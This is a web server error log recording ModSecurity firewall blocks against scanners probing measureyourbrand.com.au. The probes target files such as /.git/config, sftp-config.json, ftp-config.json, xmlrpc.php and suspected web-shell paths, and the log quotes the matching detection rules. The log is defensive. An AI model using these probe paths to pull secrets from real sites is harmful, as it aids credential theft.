[Mon Jan 19 07:58:42.191629 2026] [:error] [pid 47476:tid 47480] [client 46.255.27.20:61281] [client 46.255.27.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.255.27.20, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aW1zso6ielYhUA9M_-K_VAAAAcA"]
[Mon Jan 19 10:00:51.701500 2026] [:error] [pid 1630:tid 1642] [client 1.15.52.154:41896] [client 1.15.52.154] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aW2QUy8jxjHcpcfYtKnPoAAAAMo"]
[Mon Jan 19 12:48:46.377985 2026] [:error] [pid 45561:tid 45586] [client 103.77.106.118:49751] [client 103.77.106.118] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/sftp-config.json"] [unique_id "aW23rq4ONSZn4nkTayLiOAAAABQ"]
[Mon Jan 19 12:48:46.768417 2026] [:error] [pid 45563:tid 45638] [client 103.77.106.118:62213] [client 103.77.106.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.vscode/sftp.json"] [unique_id "aW23rpI4--OKA-PqumwOEwAAAJE"]
[Mon Jan 19 13:17:46.556370 2026] [:error] [pid 45657:tid 45668] [client 49.51.183.75:56668] [client 49.51.183.75] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aW2-eg4XFYp2OcwCx-D6FAAAAMk"]
[Mon Jan 19 14:20:54.879695 2026] [:error] [pid 47089:tid 47105] [client 43.155.129.131:51088] [client 43.155.129.131] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aW3NRhlIzijVNfdIsZ5ncgAAAQ4"]
[Mon Jan 19 16:06:21.333905 2026] [:error] [pid 47089:tid 47105] [client 49.234.192.248:35694] [client 49.234.192.248] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aW3l_RlIzijVNfdIsZ6dqgAAAQ4"]
[Mon Jan 19 17:16:07.599681 2026] [:error] [pid 45561:tid 45574] [client 112.121.183.178:64101] [client 112.121.183.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/Public/ckeditor/styles.js"] [unique_id "aW32V64ONSZn4nkTayI0_wAAAAg"]
[Mon Jan 19 17:16:08.023804 2026] [:error] [pid 45561:tid 45585] [client 216.118.251.70:61738] [client 216.118.251.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/apps/admin/view/default/images/logo.png"] [unique_id "aW32WK4ONSZn4nkTayI1AgAAABM"]
[Mon Jan 19 17:25:19.196347 2026] [:error] [pid 47089:tid 47107] [client 112.121.183.178:57979] [client 112.121.183.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/Public/ckeditor/styles.js"] [unique_id "aW34fxlIzijVNfdIsZ7GvgAAARA"]
[Mon Jan 19 17:26:30.967976 2026] [:error] [pid 45657:tid 45681] [client 216.118.251.70:63946] [client 216.118.251.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/apps/admin/view/default/images/logo.png"] [unique_id "aW34xg4XFYp2OcwCx-BYCAAAANY"]
[Mon Jan 19 17:50:04.031108 2026] [:error] [pid 36216:tid 36233] [client 103.70.76.30:54573] [client 103.70.76.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xxxss"] [unique_id "aW3-TMIpfKKs9fzB-yBUyQAAAU8"]
[Mon Jan 19 17:55:27.135958 2026] [:error] [pid 45563:tid 45623] [client 103.163.208.106:64411] [client 103.163.208.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/login.php"] [unique_id "aW3_j5I4--OKA-Pqumx2PQAAAII"]
[Mon Jan 19 18:19:48.265293 2026] [:error] [pid 47089:tid 47091] [client 103.70.76.30:64172] [client 103.70.76.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/yseoa/login.php"] [unique_id "aW4FRBlIzijVNfdIsZ7YzAAAAQA"]
[Mon Jan 19 19:56:25.553018 2026] [:error] [pid 45563:tid 45641] [client 49.51.36.179:39452] [client 49.51.36.179] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aW4b6ZI4--OKA-PqumydowAAAJQ"]
[Mon Jan 19 22:40:59.791461 2026] [:error] [pid 45562:tid 45595] [client 194.5.83.7:52797] [client 194.5.83.7] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aW5CezoUil_kwpvtDW72RQAAAEE"]
[Tue Jan 20 00:14:08.047622 2026] [:error] [pid 45561:tid 45586] [client 43.167.239.66:38772] [client 43.167.239.66] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aW5YUK4ONSZn4nkTayKZCAAAABQ"]
[Tue Jan 20 02:02:01.272160 2026] [:error] [pid 45657:tid 45679] [client 84.247.169.220:63913] [client 84.247.169.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-json/wc/store/v1/payment_methods"] [unique_id "aW5xmQ4XFYp2OcwCx-DPyQAAANQ"]
[Tue Jan 20 06:14:15.096475 2026] [:error] [pid 17620:tid 17641] [client 43.153.79.218:54552] [client 43.153.79.218] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aW6st1IxOy_FGGR2biuY5wAAAAw"]
[Tue Jan 20 10:20:08.604028 2026] [:error] [pid 10813:tid 10818] [client 111.172.249.49:48842] [client 111.172.249.49] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aW7mWP8mjqc4Rc0ds2IctwAAAAE"]
[Tue Jan 20 12:08:24.250813 2026] [:error] [pid 54382:tid 54385] [client 43.130.53.252:53140] [client 43.130.53.252] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aW7_uETJlZ9SJ6sBOEtZnQAAAAA"]
[Tue Jan 20 13:18:01.255064 2026] [:error] [pid 56360:tid 56365] [client 43.157.191.20:54238] [client 43.157.191.20] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aW8QCU1J8CD1rR-wXXv4VwAAAQM"]
[Tue Jan 20 13:31:20.433876 2026] [:error] [pid 54259:tid 54290] [client 103.77.107.178:65174] [client 103.77.107.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/sftp-config.json"] [unique_id "aW8TKA2q1USrePnOoFSzMgAAAI0"]
[Tue Jan 20 13:31:20.800477 2026] [:error] [pid 54259:tid 54280] [client 103.77.107.178:49820] [client 103.77.107.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.vscode/sftp.json"] [unique_id "aW8TKA2q1USrePnOoFSzNAAAAIM"]
[Tue Jan 20 14:37:37.042506 2026] [ssl:error] [pid 54259:tid 54299] [client 178.62.82.141:39736] AH02032: Hostname www.cedisar.it provided via SNI and hostname measureyourbrand.com.au provided via HTTP have no compatible SSL setup
[Tue Jan 20 16:28:17.308900 2026] [:error] [pid 63647:tid 63669] [client 182.43.70.143:41105] [client 182.43.70.143] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aW88oVUaYw1xHOoaFFLfUQAAAhQ"]
[Tue Jan 20 17:58:43.246951 2026] [:error] [pid 54382:tid 54395] [client 43.157.168.43:49688] [client 43.157.168.43] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aW9R00TJlZ9SJ6sBOEuJvwAAAAo"]
[Tue Jan 20 19:01:18.286290 2026] [:error] [pid 8416:tid 8434] [client 43.157.179.227:42750] [client 43.157.179.227] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aW9gfjN6cbQyA2ecQV3GCgAAAxA"]
[Tue Jan 20 22:57:43.689116 2026] [:error] [pid 54261:tid 54332] [client 223.15.245.170:59057] [client 223.15.245.170] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aW-X5wESZyr5alDl9TsIxwAAAcA"]
[Tue Jan 20 23:03:05.787408 2026] [:error] [pid 54260:tid 54323] [client 64.225.8.2:58686] [client 64.225.8.2] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.vscode/sftp-config.json"] [unique_id "aW-ZKdg7jS3jmpUN0WAuYAAAAU8"]
[Tue Jan 20 23:03:08.160824 2026] [:error] [pid 54382:tid 54406] [client 64.225.8.2:55534] [client 64.225.8.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sftp.json"] [unique_id "aW-ZLETJlZ9SJ6sBOEvR-QAAABU"]
[Tue Jan 20 23:03:10.507239 2026] [:error] [pid 56360:tid 56368] [client 64.225.8.2:64820] [client 64.225.8.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sftp.json"] [unique_id "aW-ZLk1J8CD1rR-wXXtvPgAAAQY"]
[Tue Jan 20 23:03:13.338916 2026] [:error] [pid 17340:tid 17368] [client 64.225.8.2:56768] [client 64.225.8.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ftp-sync.json"] [unique_id "aW-ZMfAsOSYVgw_35t24PAAAAkw"]
[Tue Jan 20 23:03:15.902178 2026] [:error] [pid 8455:tid 8464] [client 64.225.8.2:65262] [client 64.225.8.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ftp.json"] [unique_id "aW-ZM4JiHdPVtruynXDOtAAAA0c"]
[Tue Jan 20 23:03:18.246184 2026] [:error] [pid 17295:tid 17308] [client 64.225.8.2:58104] [client 64.225.8.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ftp.json"] [unique_id "aW-ZNvZJhGdrcqZICT-c8QAAAYo"]
[Tue Jan 20 23:03:20.430634 2026] [:error] [pid 17295:tid 17302] [client 64.225.8.2:51047] [client 64.225.8.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ftp-config.json"] [unique_id "aW-ZOPZJhGdrcqZICT-c9wAAAYQ"]
[Tue Jan 20 23:03:22.822340 2026] [:error] [pid 56326:tid 56348] [client 64.225.8.2:59632] [client 64.225.8.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ftp-config.json"] [unique_id "aW-ZOhA6mi8Uwf45Uy9NogAAANQ"]
[Tue Jan 20 23:03:25.577688 2026] [:error] [pid 54259:tid 54301] [client 64.225.8.2:51781] [client 64.225.8.2] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/sftp-config.json"] [unique_id "aW-ZPQ2q1USrePnOoFQKrQAAAJg"]
[Tue Jan 20 23:35:58.669200 2026] [:error] [pid 56360:tid 56383] [client 43.157.172.39:57636] [client 43.157.172.39] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aW-g3k1J8CD1rR-wXXt2dAAAARU"]
[Wed Jan 21 00:41:45.034253 2026] [:error] [pid 17340:tid 17362] [client 43.130.111.40:55018] [client 43.130.111.40] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aW-wSfAsOSYVgw_35t3TpgAAAkY"]
[Wed Jan 21 01:22:46.264366 2026] [:error] [pid 8455:tid 8467] [client 4.197.240.79:29387] [client 4.197.240.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/"] [unique_id "aW-55oJiHdPVtruynXDjfgAAA0o"]
[Wed Jan 21 01:22:46.326320 2026] [:error] [pid 17340:tid 17379] [client 4.197.240.79:7757] [client 4.197.240.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/"] [unique_id "aW-55vAsOSYVgw_35t3cfwAAAlc"]
[Wed Jan 21 01:22:46.391427 2026] [:error] [pid 54259:tid 54295] [client 4.197.240.79:26593] [client 4.197.240.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/"] [unique_id "aW-55g2q1USrePnOoFQi_wAAAJI"]
[Wed Jan 21 01:22:46.458023 2026] [:error] [pid 17295:tid 17310] [client 4.197.240.79:26586] [client 4.197.240.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/"] [unique_id "aW-55vZJhGdrcqZICT_R3gAAAYw"]
[Wed Jan 21 05:05:32.104189 2026] [:error] [pid 59863:tid 59877] [client 182.42.111.156:42564] [client 182.42.111.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aW_uHLHQ1zVZ4yLuI-zOlwAAAQo"]
[Wed Jan 21 06:05:54.927974 2026] [:error] [pid 21563:tid 21566] [client 103.65.236.149:61198] [client 103.65.236.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/sftp-config.json"] [unique_id "aW_8QhZq__dTorabEoyjTQAAAME"]
[Wed Jan 21 06:44:21.754202 2026] [:error] [pid 21563:tid 21575] [client 65.52.167.153:12572] [client 65.52.167.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aXAFRRZq__dTorabEoyvBwAAAMo"]
[Wed Jan 21 06:44:22.228388 2026] [:error] [pid 59863:tid 59887] [client 65.52.167.153:35921] [client 65.52.167.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aXAFRrHQ1zVZ4yLuI-z5EAAAARQ"]
[Wed Jan 21 06:44:22.702070 2026] [:error] [pid 21455:tid 21502] [client 65.52.167.153:43470] [client 65.52.167.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aXAFRopOKALCSo1URZFV0gAAAEs"]
